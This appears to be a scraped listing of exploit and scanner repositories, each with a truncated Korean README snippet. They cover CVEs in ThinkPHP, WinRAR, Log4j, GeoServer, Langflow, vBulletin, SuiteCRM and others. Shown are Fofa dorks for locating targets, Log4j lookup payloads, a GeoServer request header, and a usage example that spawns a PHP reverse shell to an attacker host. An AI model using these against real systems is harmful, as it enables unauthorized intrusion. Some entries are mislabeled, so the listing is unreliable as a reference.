cobaltstrike_swing_xss2rce

이 저장소에는 README가 없습니다...

cve-2025-63888-exploit

CVE-2025-63888 ThinkPHP 5.0.24 파일 포함 RCE 익스플로잇 ThinkPHP 5.0.24의 CVE-2025-63888 취약점을 탐지하고 테스트하기 위한 보안 연구 도구로, 파일 포함 공격을 통해 원격 코드 실행을 가능하게 합니다. ⚠️ 면책 조항 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 도구는 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 📋 개요 CVE-2025-63888은 ThinkPHP 5.0.24에서...

QuickHeal

QuickHeal Quick Heal Antivirus용 CVE-2017-5005 권고 메모리 버퍼 경계 내 작업의 부적절한 제한 취약점. 소프트웨어가 메모리 버퍼에 대해 작업을 수행하지만, 버퍼의 의도된 경계 밖에 있는 메모리 위치를 읽거나 쓸 수 있습니다. 취약점 설명 우리는 Quick Heal Internet Security 가 LCUNIXTHREAD.cmdsizeMach-O에 대한 부적절한 검증으로 인해 스택 버퍼에 대한 범위를 벗어난 쓰기Out of Bound Write on Stack Buffer에 취약함을...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 구성 스캐너 언어: 한국어 | English 이는 NGINX 구성에 CVE-2026-42945NGINX Rift 및 CVE-2026-9256 위험 패턴이 존재하는지 확인하는 경량 스크립트입니다. 이 취약점은 depthfirst가 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 문서에서 공개했습니다. 기사와 F5/NVD 설명에 따르면 위험은 ngxhttprewritemodule의 특정 구성 조합과 관련됩니다: 동일한 구성 컨텍스트에서...

geoserver-

geoserver CVE-2024-36401 취약점 이용 도구 geoserver CVE-2024-36401 환경: JDK8 고지: 승인된 테스트에만 사용하십시오. 사용자의 오용으로 인한 모든 결과는 작성자와 무관합니다. 법률과 규정을 준수하십시오! 1, 기본 payload: POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/124.0.6367.118...

CVE-2023-38831_ReverseShell_Winrar-RCE

WINRAR의 CVE-2023-38831 취약점을 악용한 리버스 셸 획득 이 저장소에서는 WinRAR의 CVE-2023-38831 취약점을 악용하여, 피해자 Windows 머신에서 공격자 Kali Linux 머신으로 리버스 셸을 획득할 수 있습니다. 사전 단계 이 저장소의 콘텐츠를 다운로드합니다: 그런 다음, 이 취약점을 악용하는 데 필요한 Python 종속성을 다음 명령으로 설치해야 합니다: pip install rarce 준비 공격자의 IP와 포트를 지정하여, revshells.com 웹사이트에서 리버스 셸을 제공하는 악성...

CVE-2025-3248

CVE-2025-3248 ★ CVE-2025-3248 Langflow RCE PoC ★ 실습 환경 구성 docker pull langflowai/langflow:1.2.0 docker run -d --name CVE-2025-3248 -p 7860:7860 langflowai/langflow:1.2.0 localhost:7860 설명 1.3.0 미만의 Langflow 버전은 /api/v1/validate/code 엔드포인트에서 코드 삽입에 취약합니다. 원격의 인증되지 않은 공격자가 조작된 HTTP 요청을 보내 임의 코드를 실행...

CVE-2024-7120

Raisecom 기기 명령 주입 CVE-2024-7120 개념 증명! 개요 RAISECOM 게이트웨이 기기모델 MSG1200, MSG2100E, MSG2200, MSG2300에서 명령 주입 취약점이 확인되었습니다. 이 취약점으로 인해 원격 공격자가 웹 인터페이스를 통해 시스템에서 임의 명령을 실행할 수 있습니다. 문제는 listbaseconfig.php 스크립트, 특히 template 매개변수에 있으며, 인터넷 상의 25,112개 이상의 기기에 영향을 미칩니다. ✔ FOFA : title="web user login" &&...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 실행 방법 php log4j.php https://1337.com 요구 사항 PHP CURL PAYLOAD DNS LOG Burpsuite Collaborator 또는 dnslog.cn 사용 페이로드 목록 $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerName $docker:imageName $env:USER $event:Marker $mdc:UserId...

CVE-2025-30406

파트 1: 익스플로잇 λ CVE-2025-30406.exe rce.txt...

-CVE-2017-0785-BlueBorne-PoC

-CVE-2017-0785-BlueBorne-PoC CVE-2017-0785 BlueBorne PoC 일반 개요 Armis Labs는 Android, iOS, Windows, Linux를 포함한 주요 모바일, 데스크톱 및 IoT 운영체제와 이를 사용하는 기기들을 위협하는 새로운 공격 벡터를 공개했습니다. 이 새로운 벡터는 공기를 통해 전파되고airborne Bluetooth를 통해 기기를 공격하기 때문에 “BlueBorne”이라고 명명되었습니다. Armis는 또한 관련 제로데이 취약점 8개를 공개했으며, 그중 4개는...

CVE-2019-0193

CVE-2019-0193 Solr DataImport Handler RCE RCE-Vuln jdbc D:\CVE\CVE-2019-0193\solr-7.7.2\server\solr-webapp\webapp\WEB-INF\lib\mysql-connector-java-5.1.48.jar dataSource name="fromMysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/mysql"...

CVE-2024-38063-poc

실제 PoC가 https://github.com/ynwarcs/CVE-2024-38063 에 공개되었으며 제 코드에도 업데이트했습니다. 이는 시스템을 충돌시킬 수 있으므로 VM을 사용하거나 학습 목적으로만 사용하세요. 코드를 수정하여 RCE를 얻을 수 있습니다. 사용법 iface 대부분 기본적으로 활성화되어 있습니다. 자세한 내용은 CVE-2024-38063-poc.py 를 확인하세요. 발견자 https://x.com/XiaoWei 코드/POC 크레딧 = @ynwarcs 감사합니다! Chirag Artani...

cve-2023-36845-scanner

Juniper CVE-2023-36845 취약점 스캐너 이 취약점 스캐너는 Juniper 방화벽을 스캔하여 CVE-2023-36845에 취약한지 여부를 확인하는 데 사용됩니다. 이 스캐너는 go-exploit을 기반으로 구축되었기 때문에 두 단계로 구성됩니다: 대상 검증: 대상이 잠재적으로 영향을 받는 Juniper 방화벽인지 확인합니다. 대상 익스플로잇: 스캐너가 LDPRELOAD 메시지를 전송하여 취약한 시스템에서 무해한 오류 메시지를 생성합니다. CVE-2023-36845 익스플로잇에 대한 자세한 내용은 블로그인...

CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE-

CVE-2025-64512 - pdfminer.six 원격 코드 실행 RCE -orange 경고 – 교육 목적으로만 사용 본 개념 증명PoC은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오. 작성자는 이 코드로 인한 오용이나 손해에 대해 책임지지 않습니다. 설명 CVE-2025-64512 는 PDF 파일에서 텍스트와 메타데이터를 추출하는 널리 사용되는 Python 라이브러리인 pdfminer.six의 치명적인 취약점입니다. 이 결함은 악성 PD...

CVE-2022-30525

CVE-2022-30525 Zyxel의 CGI 프로그램에서 발생한 OS 명령 주입 취약점 요약 이 취약점은 2022년 4월 13일에 처음 발견되었으며, Zyxel 방화벽 제품에서 원격 코드 실행을 유발했습니다. CVSS 점수 9.8의 중요한 취약점으로, 발견 후 15일 만에 Zyxel이 업데이트를 출시하여 차단했습니다. 이 과정에서 최소 20,800개의 모델이 영향을 받았으며, 대부분 유럽 지역이었습니다. 취약점은 제로터치 프로비저닝 애플릿 내의 "setWanPortSt" 명령어로 인해 발생합니다. "setWanPortSt"...

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Zhiniang Peng@edwardzpeng & Xuefeng Li@lxf02942370가 원래 만든 PrintNightmare PoC의 Impacket 구현입니다. 완전히 패치된 2019 도메인 컨트롤러에서 테스트되었습니다. 악성 DLL을 원격 또는 로컬에서 실행합니다. 패치 업데이트 Microsoft는 이러한 공격을 완화하기 위한 패치를 출시했지만, 아래 값이 시스템에 존재하면 여전히 취약할 수 있습니다. REG QUERY...

CVE-2026-61511

VBulletin RCE POC Telegram : @esp256 지원 : 대량/단일 스캔 Fofa Dork body="Powered by vBulletin" body="vbulletin/core/cpstyles" body="Powered by vBulletin" && body="6.2" body="Powered by vBulletin" && body="6.1" body="Powered by vBulletin" && body="6."...

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 — ClearML Pickle 아티팩트 RCE 개요 필드| 세부사항 ---|--- CVE| CVE-2024-24590 소프트웨어| ClearML 영향을 받는 버전| 0.17.0 – 1.14.2 취약점| 작업 아티팩트의 안전하지 않은 pickle 역직렬화 인증| ClearML 프로젝트에 대한 쓰기 접근 필요 영향| 아티팩트를 로드하는 모든 머신에서 원격 코드 실행 테스트 환경| Ubuntu 22.04, Python 3.9+ 설명 ClearML은 실험을 추적하고, 데이터셋을 관리하며, 팀 구성원 간에...

CVE-2022-23940

CVE-2022-23940 CVE-2022-23940에 대한 PoC, 일명 SCRMBT-187 - SuiteCRM= 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940 사용 예시: Spawning a PHP Reverse shell to attacker-host on port 4444 ./exploit.py -u user -p redacted --payload "php -r...